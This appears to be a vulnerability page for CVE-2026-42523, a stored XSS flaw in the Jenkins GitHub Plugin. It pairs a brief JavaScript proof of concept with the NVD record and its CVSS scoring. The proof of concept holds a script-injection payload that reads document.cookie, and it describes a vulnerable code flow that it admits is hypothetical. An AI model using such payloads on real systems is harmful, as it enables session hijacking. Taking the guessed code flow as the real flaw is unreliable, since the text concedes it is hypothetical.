CVE-2026-42523

// Proof of Concept for CVE-2026-42523 // Exploit: Stored XSS via Job URL in GitHub Plugin // Attacker injects malicious payload into the Job Name or URL parameter var maliciousPayload = '"><script>alert(document.cookie)</script>'; // The vulnerable plugin constructs JavaScript for validation using the Job URL // Hypothetical vulnerable code flow: // var currentJobUrl = "/job/" + maliciousPayload + "/"; // document.write("Validating hook for: " + currentJobUrl); // When an admin views the job configuration or related page, // the payload executes in the context of the admin's session. console.log("Payload injected: " + maliciousPayload);

{"cve": {"id": "CVE-2026-42523", "sourceIdentifier": "[email protected]", "published": "2026-04-29T14:16:19.360", "lastModified": "2026-05-05T18:06:19.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jenkins GitHub Plugin 1.46.0 and earlier improperly processes the current job URL as part of JavaScript implementing validation of the feature \"GitHub hook trigger for GITScm polling\", resulting in a stored cross-site scripting (XSS) vulnerability exploitable by non-anonymous attackers with Overall/Read permission."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:github:*:*:*:*:*:jenkins:*:*", "versionEndExcluding": "1.46.0.1", "matchCriteriaId": "162727B7-EF1E-4E69-A191-1F9DDE585A37"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2026-04-29/#SECURITY-3704", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}